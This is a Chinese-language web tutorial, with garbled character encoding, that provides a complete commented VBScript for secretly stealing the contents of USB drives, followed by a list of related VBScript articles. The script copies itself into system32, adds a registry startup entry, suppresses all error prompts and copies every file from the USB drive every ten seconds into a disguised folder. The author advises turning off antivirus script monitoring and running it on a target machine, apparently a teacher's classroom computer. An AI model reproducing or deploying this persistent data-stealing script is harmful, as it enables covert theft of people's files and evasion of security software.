利用VBS腳本輕松盜U盤數(shù)據(jù)
1.開(kāi)機(jī)自啟動(dòng);
2.定時(shí)復(fù)制U盤所有文件及文件夾到指定位置;
3.無(wú)任何錯(cuò)誤提示(很關(guān)鍵,如果不想找死的話)。
思路很簡(jiǎn)單,接下來(lái)就是腳本的具體內(nèi)容了,我在每行腳本后都加了注釋,但愿比我還菜的人也能看懂
On Error Resume Next ‘忽略異常,否則可能會(huì)有錯(cuò)誤提示框
Set fso=CreateObject("Scripting.FileSystemObject") ‘創(chuàng)建fso
dim n
Set n=CreateObject("Wscript.Shell") ‘聲明變量n
Set dir = fso.GetSpecialFolder(1) ‘讀取system32文件夾路徑
fso.GetFile(WScript.ScriptFullName).Copy(dir&"\copy.vbs") ‘讀取自身文件名,并復(fù)制自己到system32文件夾,重命名為copy.vbs
dim r
Set r=CreateObject("Wscript.Shell") ‘聲明變量r,用于讀寫注冊(cè)表
r.Regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\","copy.vbs","REG_SZ" ‘為腳本添加啟動(dòng)項(xiàng)
fso.CreateFolder("c:\windows\explorer") ‘創(chuàng)建文件夾,用來(lái)存放U盤文件
for i = 1 to 2
i = 1 ‘看出來(lái)了么,這是個(gè)死循環(huán),變量i不可能到2,所以可以不斷檢查U盤并復(fù)制內(nèi)容
fso.CopyFile "i:\*", "c:\windows\explorer\", True ‘復(fù)制I盤(U盤盤符)所有文件到指定文件夾
fso.CopyFolder "i:\*", "c:\windows\explorer\", True ‘復(fù)制I盤所有文件夾到指定文件夾
wscript.sleep 10000 ‘掛起10秒,此屬性單位為毫秒
next
把上述內(nèi)容存為kubau0.vbs,才幾百字節(jié)。
提示一點(diǎn),因?yàn)槟_本內(nèi)容有對(duì)注冊(cè)表和文件的操作,所以執(zhí)行時(shí)要把殺毒軟件的網(wǎng)頁(yè)或腳本之類的監(jiān)控關(guān)掉,否則會(huì)不客氣的彈出個(gè)對(duì)話框問(wèn)你是否執(zhí)行,如果引起老師懷疑的話……那你就節(jié)哀吧。
現(xiàn)在,只要在目標(biāo)機(jī)上執(zhí)行一次腳本(什么?沒(méi)反應(yīng)?當(dāng)然不會(huì)有了!看看進(jìn)程列表,如果有一個(gè)wscript.exe就說(shuō)明已經(jīng)執(zhí)行成功了),腳本執(zhí)行會(huì)停留在死循環(huán)里,每隔10秒復(fù)制一次文件到C:\windows\explorer\文件夾(間隔時(shí)間和目標(biāo)文件夾均可自行設(shè)置),重啟后會(huì)自動(dòng)執(zhí)行,且不會(huì)有任何異常提示,畢竟安全才是最重要的嘛!這也是VBS的特點(diǎn),一切悄無(wú)聲息。
不過(guò)腳本也不是沒(méi)有缺點(diǎn),那就是在復(fù)制文件的時(shí)候U盤燈會(huì)狂閃不止,且機(jī)器運(yùn)行速度會(huì)明顯變慢,且無(wú)法通過(guò)安全刪除硬件來(lái)停止U盤,不過(guò)好在老師們多是才鳥(niǎo)(才鳥(niǎo)?什么東西?有才的菜鳥(niǎo)?),但是如果哪位高手能幫我解決,還請(qǐng)不吝賜教!
另外,別以為復(fù)制完就萬(wàn)事大吉了,最好定期刪除沒(méi)用的文件,否則目標(biāo)文件夾會(huì)急劇膨脹,比如我們班,一星期下來(lái)就超了1G,很恐怖!
相關(guān)文章
VBScript 算一算你從出生到現(xiàn)在共計(jì)多少天
VBScript 算一算你從出生到現(xiàn)在共計(jì)多少天,呵呵,努力奮斗吧2009-11-11
ActiveX部件不能創(chuàng)建對(duì)象:dm.dmsoft代碼:800A01AD
vbs調(diào)用插件報(bào):ActiveX部件不能創(chuàng)建對(duì)象,代碼:800A01AD,一般是因?yàn)椴《緦?dǎo)致dll文件丟失或者64系統(tǒng)問(wèn)題導(dǎo)致,需要的朋友可以參考下2019-12-12
從一個(gè)VBS腳本學(xué)習(xí)一點(diǎn)點(diǎn)東西
從一個(gè)VBS腳本學(xué)習(xí)一點(diǎn)點(diǎn)東西...2006-09-09
不錯(cuò)的一篇VBS-JSCRIPT GETOBJECT理解
不錯(cuò)的一篇VBS-JSCRIPT GETOBJECT理解...2007-03-03
用vbs 實(shí)現(xiàn)從剪貼板中抓取一個(gè) URL 然后在瀏覽器中打開(kāi)該 Web 站點(diǎn)
用vbs 實(shí)現(xiàn)從剪貼板中抓取一個(gè) URL 然后在瀏覽器中打開(kāi)該 Web 站點(diǎn)...2007-04-04
vbs提示沒(méi)有在該機(jī)執(zhí)行windows腳本宿主的權(quán)限。請(qǐng)與系統(tǒng)管理員聯(lián)系
這篇文章主要介紹了關(guān)于運(yùn)行VBS文件提示沒(méi)有在該機(jī)執(zhí)行windows腳本宿主的權(quán)限。請(qǐng)與系統(tǒng)管理員聯(lián)系。錯(cuò)誤的解決方法,需要的朋友可以參考下2020-08-08
vbs實(shí)現(xiàn)只復(fù)制比目標(biāo)文件更新的文件
有時(shí)候我們需要時(shí)候備份一些文件,只有當(dāng)這個(gè)文件被修改了并且不是空的時(shí)候才復(fù)制2014-04-04
VBS教程:VBScript 基礎(chǔ)-VBScript 數(shù)據(jù)類型
VBS教程:VBScript 基礎(chǔ)-VBScript 數(shù)據(jù)類型...2006-11-11

